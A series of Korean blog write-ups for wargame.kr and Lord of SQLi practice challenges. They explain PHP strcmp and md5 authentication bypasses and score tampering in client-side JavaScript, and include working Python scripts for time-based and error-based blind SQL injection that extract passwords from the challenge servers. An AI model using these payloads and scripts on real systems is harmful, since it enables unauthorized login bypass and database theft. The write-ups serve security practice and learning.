strcmp에 관한 문제입니다.

strcmp에 취약점이 있는 문제로 해당 취약점을 알아야 풀 수 있습니다.


지금 $password는 rand()함수로 인해 값이 계속 변해서 정확한 password는 알 수 없습니다.


strcmp(a,b) 함수의 역할은 a가 작으면 음수, b가 작으면 양수, 같으면 0을 반환해주는 함수입니다.

0을 반환해야 문제가 풀리기 때문에 배열과 비교를 하면 0의 값을 띄워주는 취약점을 이용하면 됩니다.



 POST 방식으로 값이 날라가기 때문에 burp suite를 사용해 중간에 값을 바꿔줍니다.

password=1로 보내는 게 아니라 password[]=1로 보내서 배열 형식으로 보내주면 배열과 문자열을 비교하여 0의 값을 반환합니다.



[참고]

[PHP] strcmp 취약점을 이용한 인증 우회: http://hackability.kr/entry/PHP-strcmp-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9D%B8%EC%A6%9D-%EC%9A%B0%ED%9A%8C


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] pyc decomplie  (0) 2018.10.30
[WarGame] md5_compare  (0) 2018.10.30
[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28





보통 md5('value')로 hash값을 만들면 32자리 hex값으로 나오게 됩니다.

하지만 md5('value', true)로 hash값을 만들면 16자리 바이너리 형태로 나오게 됩니다.

바이너리 형태로 나오게 되면서 취약점이 발생합니다.


password='aaa'='bbb' 라는 식은 password='aaa' 부분이 false, bool 연산의 문자열은 false이기에 'bbb'도 false가 나와

true로 query가 작동하게 됩니다.


그렇다면 md5를 한 바이너리 값 중에서 '=' 라는 문자열이 나오게 되면 false + false = true 로 된다는 것입니다.



python으로 간단하게 hash를 생성하는 코드를 만들고 '=' 를 찾으면 띄워 주도록 만들었습니다.

(ascii code로 27은 싱글쿼터, 3d는 =입니다)

1
2
3
4
5
6
import hashlib
 
for password in range(1,99999999):
     md5_hash = hashlib.md5(str(password)).hexdigest()
     if '273d27' in md5_hash:
         print(password)
cs


여러 값들이 나오게 되는데 모든 값이 false/false가 되지 않는지 전부 되지는 않고, 몇몇 값들만 됩니다.


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5_compare  (0) 2018.10.30
[WarGame] strcmp  (0) 2018.10.30
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] QR CODE PUZZLE  (0) 2018.10.28




소스 코드에 맨 아래 주석으로 id/pw가 있었고 로그인에 성공하면 key값을 띄워주는 문제입니다.

  <!--

  you have blocked accounts.

  guest / guest
  blueh4g / blueh4g1234ps
  -->




SQL Injection을 이용하고 싶지만 mysql_real_escape_string()으로 싱글쿼터 앞에 \를 붙이기 때문에 사용하지 못합니다.

또한 우회 기법인 %a1~%fe를 싱글쿼터 앞에 붙여서 특정 문자열을 만드는 방법도 mysql_query("set names utf8")인 환경이기에 불가능 합니다.



SQL Injection 문제는 아니므로 다른 방식으로 풀어야 합니다.


이때 주목해야 할 상황은 php환경이라는 점이며 php는 대소문자 구분을 하지 못한다는 것을 알아야 합니다.

일반적으로 guest/guest로 로그인을 하면 아래와 같은 메시지가 나오게 됩니다.



하지만 php환경에서 대소문자 구분을 하지 않기 때문에 GUEST/guest라고 입력을 해도 로그인에 성공하며

$id=='guest' 부분도 대문자이기에 통과할 수 있습니다.


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] strcmp  (0) 2018.10.30
[WarGame] md5 password  (1) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] QR CODE PUZZLE  (0) 2018.10.28
[WarGame] flee button  (0) 2018.10.28



갤로그 같은 게임이 하나 나오게 됩니다.



게임을 깨기 위한 점수로 31337점이라는 터무니 없는 점수를 요구합니다.

열심히 해도 30점을 넘기기 쉽지 않으니 다른 해결 방법을 찾아야 합니다.



소스를 확인해보면 packed된 javascript를 발견할 수 있습니다.



javascript unpacker 사이트에서 unpack을 해보면 아래와 같은 코드를 얻을 수 있습니다.

해당 코드는 게임을 진행하기 위한 정보가 있으며, 물론 점수에 관한 내용도 있을 것입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
var _0x32bb=["\x6B\x69\x6C\x6C\x50\x6C\x61\x79\x65\x72","\x63\x68\x65\x63\x6B\x4C\x69\x66\x65","\x67\x65\x74\x53\x63\x6F\x72\x65","\x42\x69\x6E\x63\x53\x63\x6F\x72\x65","\x73\x68\x72\x69\x6E\x6B\x54\x75\x6E\x6E\x65\x6C","\x77\x69\x64\x74\x68\x54\x75\x6E\x6E\x65\x6C","\x6F\x62\x6A\x65\x63\x74","\x44\x6F\x20\x63\x68\x65\x61\x74\x69\x6E\x67\x2C\x20\x69\x66\x20\x79\x6F\x75\x20\x63\x61\x6E","\x77\x61\x72\x6E","\x6F\x66\x66\x73\x65\x74\x4C\x65\x66\x74","\x74\x75\x6E\x6E\x65\x6C","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x74\x6F\x70","","\x70\x78","\x63\x73\x73","\x64\x69\x73\x70\x6C\x61\x79","\x62\x6C\x6F\x63\x6B","\x65\x61\x63\x68","\x69\x6D\x67\x2E\x6C\x65\x66\x74\x5F\x77\x61\x6C\x6C","\x69\x6D\x67\x2E\x72\x69\x67\x68\x74\x5F\x77\x61\x6C\x6C","\x23\x68\x69\x67\x68\x5F\x73\x63\x6F\x72\x65\x73","\x72\x65\x6D\x6F\x76\x65","\x74\x61\x62\x6C\x65","\x6E\x6F\x6E\x65","\x64\x69\x76\x23\x73\x63\x6F\x72\x65\x5F\x74\x61\x62\x6C\x65","\x63\x6C\x69\x63\x6B","\x74\x65\x78\x74","\x73\x70\x61\x6E\x23\x73\x63\x6F\x72\x65","\x6C\x65\x66\x74","\x69\x6D\x67\x23\x73\x68\x69\x70","\x73\x6C\x6F\x77","\x66\x61\x64\x65\x49\x6E","\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x35\x30\x25\x20","\x64\x69\x76\x23\x74\x75\x6E\x6E\x65\x6C","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x75\x70\x64\x61\x74\x65\x54\x75\x6E\x6E\x65\x6C\x28\x29","\x66\x61\x64\x65\x4F\x75\x74","\x50\x4F\x53\x54","\x68\x69\x67\x68\x2D\x73\x63\x6F\x72\x65\x73\x2E\x70\x68\x70","\x74\x6F\x6B\x65\x6E\x3D","\x26\x73\x63\x6F\x72\x65\x3D","\x61\x6A\x61\x78","\x68\x74\x6D\x6C","\x70\x23\x77\x65\x6C\x63\x6F\x6D\x65","\x75\x70\x64\x61\x74\x65\x54\x6F\x6B\x65\x6E\x28\x29","\x74\x68\x78\x2C\x20\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61","\x6D\x6F\x75\x73\x65\x6F\x76\x65\x72","\x23\x63\x68\x72\x69\x73\x74\x69\x61\x6E","\x6D\x6F\x75\x73\x65\x6F\x75\x74","\x72\x65\x61\x64\x79","\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61","\x70\x61\x67\x65\x58","\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x74\x6F\x6B\x65\x6E\x2E\x70\x68\x70","\x67\x65\x74"];
function secureGame()
    {
    var _0x8618x2=this;
    var _0x8618x3=true;
    function _0x8618x4()
        {
        _0x8618x3=false;
        return true
    };
    function _0x8618x5()
        {
        return _0x8618x3
    };
    this[_0x32bb[0]]=function()
        {
        _0x8618x4();
        return true
    };
    this[_0x32bb[1]]=function()
        {
        return _0x8618x5()
    };
    var _0x8618x6=31337;
    function _0x8618x7()
        {
        return _0x8618x6
    };
    function _0x8618x8()
        {
        if(_0x8618x3)
            {
            _0x8618x6++
        };
        return true
    };
    this[_0x32bb[2]]=function()
        {
        return _0x8618x7()
    };
    this[_0x32bb[3]]=function()
        {
        _0x8618x8();
        return true
    };
    var _0x8618x9=320;
    function _0x8618xa()
        {
        _0x8618x9-=20;
        return true
    };
    function _0x8618xb()
        {
        return _0x8618x9
    };
    this[_0x32bb[4]]=function()
        {
        _0x8618xa();
        return true
    };
    this[_0x32bb[5]]=function()
        {
        return _0x8618xb()
    }
};
var bg_val=0;
var rail_left=0;
var rail_right=500;
var ship_x=234;
var pos_x=234;
var c_s=0;
var c_r=0;
var c_w=0;
var t_state=0;
left_wall=new Array(20);
right_wall=new Array(20);
function initTunnel()
    {
    BTunnelGame=new secureGame();
    if(_0x32bb[6]==typeof console)
        {
        console[_0x32bb[8]](_0x32bb[7])
    };
    rail_left=document[_0x32bb[11]](_0x32bb[10])[_0x32bb[9]];
    rail_right+=rail_left;
    y=0;
    for(y=0;
    y<20;
    y++)
        {
        left_wall[y]=80;
        right_wall[y]=400
    };
    $(_0x32bb[19])[_0x32bb[18]](function(_0x8618x16)
        {
        y=_0x8618x16*25;
        $(this)[_0x32bb[15]](_0x32bb[12],_0x32bb[13]+y+_0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16],_0x32bb[17])
    }
    );
    $(_0x32bb[20])[_0x32bb[18]](function(_0x8618x16)
        {
        y=_0x8618x16*25;
        $(this)[_0x32bb[15]](_0x32bb[12],_0x32bb[13]+y+_0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16],_0x32bb[17])
    }
    );
    $(_0x32bb[25])[_0x32bb[26]](function()
        {
        $(_0x32bb[23])[_0x32bb[22]](_0x32bb[21]);
        $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16],_0x32bb[24]);
        restartTunnel();
        updateTunnel()
    }
    )
};
function restartTunnel()
    {
    BTunnelGame=new secureGame();
    if(_0x32bb[6]==typeof console)
        {
        console[_0x32bb[8]](_0x32bb[7])
    };
    ship_x=234;
    c_s=0;
    c_r=0;
    c_w=0;
    $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13]+0);
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29],ship_x+_0x32bb[14]);
    y=0;
    for(y=0;
    y<20;
    y++)
        {
        left_wall[y]=80;
        right_wall[y]=400
    };
    $(_0x32bb[30])[_0x32bb[32]](_0x32bb[31]);
    $(_0x32bb[19])[_0x32bb[18]](function(_0x8618x16)
        {
        y=_0x8618x16*25;
        $(this)[_0x32bb[15]](_0x32bb[12],_0x32bb[13]+y+_0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16],_0x32bb[17])
    }
    );
    $(_0x32bb[20])[_0x32bb[18]](function(_0x8618x16)
        {
        y=_0x8618x16*25;
        $(this)[_0x32bb[15]](_0x32bb[12],_0x32bb[13]+y+_0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16],_0x32bb[17])
    }
    )
};
function updateTunnel()
    {
    bg_val=bg_val+2;
    if(bg_val>20)
        {
        bg_val=0
    };
    $(_0x32bb[35])[_0x32bb[15]](_0x32bb[33],_0x32bb[34]+bg_val+_0x32bb[14]);
    if(ship_x+32<500)
        {
        if(ship_x+46<pos_x)
            {
            ship_x+=4
        }
        else
            {
            if(ship_x+16<pos_x)
                {
                ship_x+=2
            }
        }
    };
    if(ship_x>0)
        {
        if(ship_x-14>pos_x)
            {
            ship_x-=4
        }
        else
            {
            if(ship_x+16>pos_x)
                {
                ship_x-=2
            }
        }
    };
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29],ship_x+_0x32bb[14]);
    c_r++;
    if(c_r>60)
        {
        c_r=0;
        t_state=Math[_0x32bb[37]](Math[_0x32bb[36]]()*2)
    };
    if(left_wall[0]<10)
        {
        t_state=1
    }
    else
        {
        if(right_wall[0]>470)
            {
            t_state=0
        }
    };
    y=0;
    for(y=20;
    y>0;
    y--)
        {
        left_wall[y]=left_wall[y-1];
        right_wall[y]=right_wall[y-1]
    };
    if(t_state==0)
        {
        left_wall[0]-=3
    };
    if(t_state==1)
        {
        left_wall[0]+=3
    };
    right_wall[0]=left_wall[0]+BTunnelGame[_0x32bb[5]]();
    $(_0x32bb[19])[_0x32bb[18]](function(_0x8618x16)
        {
        $(this)[_0x32bb[15]](_0x32bb[29],_0x32bb[13]+left_wall[_0x8618x16]+_0x32bb[14])
    }
    );
    $(_0x32bb[20])[_0x32bb[18]](function(_0x8618x16)
        {
        $(this)[_0x32bb[15]](_0x32bb[29],_0x32bb[13]+right_wall[_0x8618x16]+_0x32bb[14])
    }
    );
    if(BTunnelGame[_0x32bb[5]]()>=120)
        {
        c_w++;
        if(c_w>100)
            {
            c_w=0;
            BTunnelGame[_0x32bb[4]]();
            left_wall[0]+=10
        }
    };
    c_s++;
    if(c_s>20)
        {
        c_s=0;
        BTunnelGame.BincScore();
        $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13]+BTunnelGame[_0x32bb[2]]())
    };
    if(ship_x<=left_wall[18]+20||ship_x+32>=right_wall[18])
        {
        BTunnelGame[_0x32bb[0]]()
    };
    if(BTunnelGame[_0x32bb[1]]())
        {
        setTimeout(_0x32bb[38],10)
    }
    else
        {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16],_0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16],_0x32bb[24]);
        $[_0x32bb[44]](
            {
            type:_0x32bb[40],url:_0x32bb[41],data:_0x32bb[42]+token+_0x32bb[43]+BTunnelGame[_0x32bb[2]](),success:function(_0x8618x19)
                {
                showHighScores(_0x8618x19)
            }
        }
        )
    }
};
function scoreUpdate()
    {
    return
};
function showHighScores(_0x8618x19)
    {
    $(_0x32bb[25])[_0x32bb[45]](_0x8618x19);
    $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16],_0x32bb[17])
};
$(document)[_0x32bb[52]](function()
    {
    $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16],_0x32bb[17]);
    updateToken();
    setInterval(_0x32bb[47],10000);
    $(_0x32bb[46])[_0x32bb[26]](function()
        {
        $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16],_0x32bb[24]);
        initTunnel();
        updateTunnel()
    }
    );
    $(_0x32bb[50])[_0x32bb[49]](function()
        {
        $(this)[_0x32bb[45]](_0x32bb[48])
    }
    );
    $(_0x32bb[50])[_0x32bb[51]](function()
        {
        $(this)[_0x32bb[45]](temp)
    }
    )
}
);
var temp=_0x32bb[53];
$(document)[_0x32bb[55]](function(_0x8618x1d)
    {
    pos_x=_0x8618x1d[_0x32bb[54]]-rail_left
}
);
var token=_0x32bb[13];
function updateToken()
    {
    $[_0x32bb[57]](_0x32bb[56],function(_0x8618x20)
        {
        token=_0x8618x20
    }
    )
};
cs



그중 변수를 선언하는 var _0x32bb 를 먼저 확인 해봅니다.

모두 hex코드로 변환되어 있으니 python을 이용하면 간단하게 확인할 수 있습니다.



유심히 보면 %score= 라는 부분이 신경 쓰입니다.

_0x32bb[43]이 해당 부분이고 소스 코드에서 찾아보면 아래 부분에 있습니다.

_0x32bb[2] 부분이 score라는 것을 알 수 있고 찾아가 봅니다.

1
2
3
4
5
6
7
$[_0x32bb[44]](
{
    type:_0x32bb[40],url:_0x32bb[41],data:_0x32bb[42]+token+_0x32bb[43]+BTunnelGame[_0x32bb[2]](),success:function(_0x8618x19)
    {
        showHighScores(_0x8618x19)
    }
})
cs



_0x32bb[2]은 _0x8618x7() 함수의 값을 가져오고, _0x8618x7() 함수는 _0x8618x6의 값을 return 합니다.

해당 값이 0으로 설정이 되어서 게임을 시작할 때 0점으로 시작하게 됩니다.


해당 값을 31337로 설정해 두고 console에 javascript를 실행하면 게임이 시작할 때 31337점으로 시작해 게임을 클리어 할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
var _0x8618x6=0;
 
function _0x8618x7()
{
    return _0x8618x6
};
 
this[_0x32bb[2]]=function()
{
    return _0x8618x7()
};
cs



'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] QR CODE PUZZLE  (0) 2018.10.28
[WarGame] flee button  (0) 2018.10.28
[WarGame] already got  (0) 2018.10.28



QR CODE PUZZLE 게임이 있습니다.

다 맞추면 되는지도 모르는 문제를 푸는 것은 의미가 없습니다..



소스를 확인해 보시면 함수가 있는데 unescape()로 의심이 가는 문구가 있습니다.

URL 인코딩 되어있어 디코딩을 해보면 URL이 하나 나오게 되고 해당 URL로 이동하면 완성된 QR CODE가 나오게 됩니다.



해당 QR CODE를 QR CODE READER로 읽어보면 또 하나의 URL이 나오고 해당 URL에는 KEY값이 있습니다.



'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] flee button  (0) 2018.10.28
[WarGame] already got  (0) 2018.10.28

해당 문제를 시작하면 마우스의 이동에 따라 눌러야 될 버튼도 같이 이동하게 됩니다.




소스를 확인해 보면 해당 버튼을 눌렀을 때 이동하게 되는 URL이 나오게 됩니다.

해당 URL로 이동하면 키 값이 보이게 됩니다.


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] QR CODE PUZZLE  (0) 2018.10.28
[WarGame] already got  (0) 2018.10.28

HTTP Response header를 볼 수 있는지 물어봅니다.



문제를 시작하면 이미 key를 얻었다고 합니다.




HTTP Response header는 말 그대로 요청에 대한 응답 header를 확인해야 합니다.

그러기 위해서 Chrome의 기능을 이용하면 해결할 수 있습니다.


F12를 누르고 Network 부분으로 가서 카메라 모양을 누르면 capture가 가능합니다.

이 후 F5키를 눌러 새로 고침 후 확인해보면 아래와 같이 key값이 보이게 됩니다.


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] QR CODE PUZZLE  (0) 2018.10.28
[WarGame] flee button  (0) 2018.10.28

앞선 문제와 달리 상당한 길이여서 혼란스러운 문제이지만 간단하게 동작하는 내용은

  ⓐ flag의 값을 필터링

  ⓑ 현재 로그인 session을 가지고 flag를 가져옴

  ⓒ 임시 테이블을 생성하고 원래 테이블의 자신의 session에 대한 내용을 그대로 옮김

  ⓓ 임시 테이블에 flag 값을 update

  ⓔ 임시 테이블의 flag 값을 가져옴

  ⓕ session에 대한 flag값이 없거나, 원래 테이블의 flag값과 입력한 flag 값이 다르면 flag reset ( reset_flag()함수를 통해서 )

  ⓖ 원래 테이블의 flag값과 입력한 flag값이 동일하면 문제 해결

로 구문을 해석 할 수 있습니다.


여기서 중요한 사항은 우리가 공격할 수 있는 injection point는 update구문 뿐이며 올바른 값을 입력하지 않으면 매번 값이 바뀐다는 것입니다.



아무거나 입력하면 아래와 같이 "reset ok"라고 나오면서 flag값이 변하기 때문에 주의해야 합니다.


생각해 볼 수 있는 사항

  ① 정확한 flag값을 알아야 하기 때문에 blind sql injection을 해야 함

  ② 값을 조작할 만한 곳은 Update문 뿐

  ③ Update문이 실행이 되면 reset이 됨

  ④ flag는 16자리 (substr로 나눔)


blind sql injection을 통해 update문을 injection 하면 되는 문제입니다.

하지만 어떠한 정보도 내주지 않고 있고, error도 나오지 않으니 Time-base blind sql injectioin으로 문제를 해결해야 합니다.

그리고 update문이 실행이 되지 않게 하기 위해서 (select 1 union select 2)를 통해 error를 발생 시켜야 합니다.


time-base로 하려면 sleep()을 이용해서 몇 초간 응답에 따라서 참/거짓을 알 수 있습니다.

참/거짓을 구분하기 위한 조건문이 필요한데 if문은 ','가 필요해서 case when으로 대체 할 수 있었습니다

substr에도 ','가 필요하지만 flag from 1 for 1을 하면 첫번째 문자를 가져오게 됩니다..



알아낸 정보를 가지고 Python code를 작성하면 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?'
index_list = range(48,58)+range(97,123) # 0~1, a~z
 
password = ''
 
for i in range(1,17):
    for j in index_list:
        query = "flag=(select 1 union select 2) or case when substr(flag from {0} for 1)='{1}' then sleep(2) end".format(i,chr(j))
        payload = url+query
        print (payload)
 
        time1 = time.time()
        res = requests.get(payload, cookies=cookies)
        time2 = time.time()
 
        if(time2-time1>2):
            password += chr(j)
            break
print("password : "+password)
cs



[참고]

case when: http://www.gurubee.net/lecture/1028

HINT: 

http://security04.tistory.com/170

http://rls1004.tistory.com/33

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2018.10.12
[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

iron_golem 문제처럼 Error Base Blind SQL Injection입니다.

하지만 if와 case/when을 필터링하여 조건문으로 풀지 못하게 했습니다.

또한 error massage도 띄어주지 않네요 ~_~


이번에는 order by를 이용해서 문제를 해결하려고 합니다.



[order by를 이용한 풀이]


' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)=1)%23


3가지 항목에 주목하셔야 합니다.

ⓐ order by: 특정 순서 혹인 정렬을 위한 SQL 입니다.

select 1 union select 2: Error를 유발하기 위한 구문

ⓒ length(pw): pw의 길이를 구할 구문 (이후 pw도 구함)



[ select 1 from (select 1 union select 2)m where 1=1 ]을 하게 되면 아래와 같이 행이 2개가 출력 되고,

[ select 1 from (select 1 union select 2)m where 1=2 ]을 하게 되면 아래와 같이 거짓으로 아무것도 나오지 않습니다.







⑴ length(pw) 가 참 일 경우)

Subquery에서 행 2개 출력 → order by 구문에서 Error → if(mysql_error()) exit(); 로 인해 빈 창으로 이동


⑵ length(pw) 가 거짓 일 경우)

Subquery에서 결과 x → order by 구문에서 정상 진행 → if(mysql_error()) exit(); 통과 후 echo 실행



어떻게 풀어야 할지 알았으니 Python으로 풀어봅니다.

id='admin'을 추가한 이유는 guest의 값이 나올 수 있기에 사용했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?'
index_list = range(48,58)+range(97,123) #0~9, a~z
password = ''
length = 0
 
for i in range(1,99):
    query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)={0})%23".format(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("query")<0):
        length = i
        print("length: "+str(length))
        break    
 
for i in range(1,length+1):
    for j in index_list:
        query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and substr(pw,{0},1)='{1}')%23".format(i,chr(j))
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("query")<0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs





[참고]

에러기반 블라인드 인젝션: http://blog.naver.com/PostView.nhn?blogId=dmbs335&logNo=200000287070&parentCategoryNo=&categoryNo=67&viewDate=&isShowPopularPosts=true&from=search

Blind sql injection: https://github.com/solmonk/writeup/blob/master/blind.md

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] umaru  (0) 2018.10.18
[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

이번 문제를 보시면 mysql_error() 라는 항목이 추가되었고 항상 보여주던 "Hello ~~~~"가 없어졌습니다.

형식을 보면 blind sql injection이 분명한데 어떻게 참 거짓을 구분해야 할까요?


Injection 중에 별로 신경은 안 썼지만 Error Base SQL Injection이라는 기술이 있습니다.

mysql_error() 함수를 통해서 Query의 오류를 통해서 비밀번호를 하나씩 찾아낼 수 있습니다.



우선 평소처럼 blind sql injection이 되는지 확인하기 위해 다음과 같이 입력해도 참/거짓을 판단할 수 없기 때문에 의미가 없습니다.



일부러 구문 오류를 내봅니다. '(single quarter) 하나만 전송해보면 다음과 같이 error 문구가 나오게 됩니다.

이 error 문구를 이용해서 문제를 푸실 수 있습니다.



Error Base Blind SQL Injection에 대한 내용을 찾다가 몇 가지 Payload를 알게 되었습니다.


  ⓐ 조건문 사용:     1 and if($tg,1,(select 1 union select 2))

  ⓑ order by/group by:     1 order by (select 1 from (select 1 union select 2)m where $tg=1)

  ⓒ ​​논리 연산자의 최적화 현상 이용:     $tg||(select 1 union select 2) 

  ⓓ case when then 형식 조건문 사용:​​     select case 1 when 1 then (select 1 union select 2) end;

  [정규식 관련 에러를 이용​]

  ⓐ 필터링이 쿼리 실행 이후에 일어나는 사례

  ⓑ 쿼리가 실행은 되지만 결과가 출력 되지 않는 사례의 시간 기반 대용

  ⓒ ​order by / group by 에 대한 효율적인 인젝션

  ⓓ insert 문과 delete 문을 동작을 막으면서 데이터를 추출하기​


(출처: dmbs님의 블로그, URL 하단 표기)


그 중에 조건문을 이용해서 문제를 풀어봤습니다.

if(조건, 참일 때 실행, 거짓일 때 실행)를 이용하면 조건문에 우선 1=1 이라는 참 값을 놓고 확인해 봅니다.


해당 Query는 참이기 때문에 Error가 표시가 안됩니다.


하지만 조건식에 1=2 라고 표시하고 전송하면 다음과 같이 subquery의 결과 1개가 리턴 됐다고 나오게 됩니다.



해당 문구가 나오면 실패한 것이니 우선 pw의 길이를 찾아봅니다.

찾아보시면 16자리가 나오게 되지만 전 문제와 동일하게 1글자가 4byte인 Unicode로 되어있었습니다.


그렇게 총 4글자의 Unicode라는 것을 알게 되었으니 Python을 이용해서 풀어봅니다.

앞선 문제와 달라진 구문은 find()를 사용할 때 "Subquery returns more than 1 row"로 하고 못 찾을 때라 "<0"라고 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?'
password = ''
length = 0
 
#pw 길이 구하기 (1글자가 4byte라고 알기 전)
for i in range(1,99):
    query = "pw=' or if(length(pw)={0},1,(select 1 union select 2))%23".format(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Subquery returns more than 1 row")<0):
        length = i
        print("length: "+str(length))
        break    
 
 
#pw 구하기 (1글자가 4byte라고 알게 된 후, 고정 길이)
for i in range(1,5):
    for j in range(33,127):
        query = "pw=' or if(ord(substr(pw,{0},1))={1},1,(select 1 union select 2))%23".format(i,j)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Subquery returns more than 1 row")<0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs

(한글 인코딩이 안되어 있어 주석을 지우고 실행해야 합니다)





[참고]

에러기반 블라인드 인젝션: http://blog.naver.com/PostView.nhn?blogId=dmbs335&logNo=200000287070&parentCategoryNo=&categoryNo=67&viewDate=&isShowPopularPosts=true&from=search


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] umaru  (0) 2018.10.18
[LOS] dark_eyes  (0) 2018.10.12
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

+ Recent posts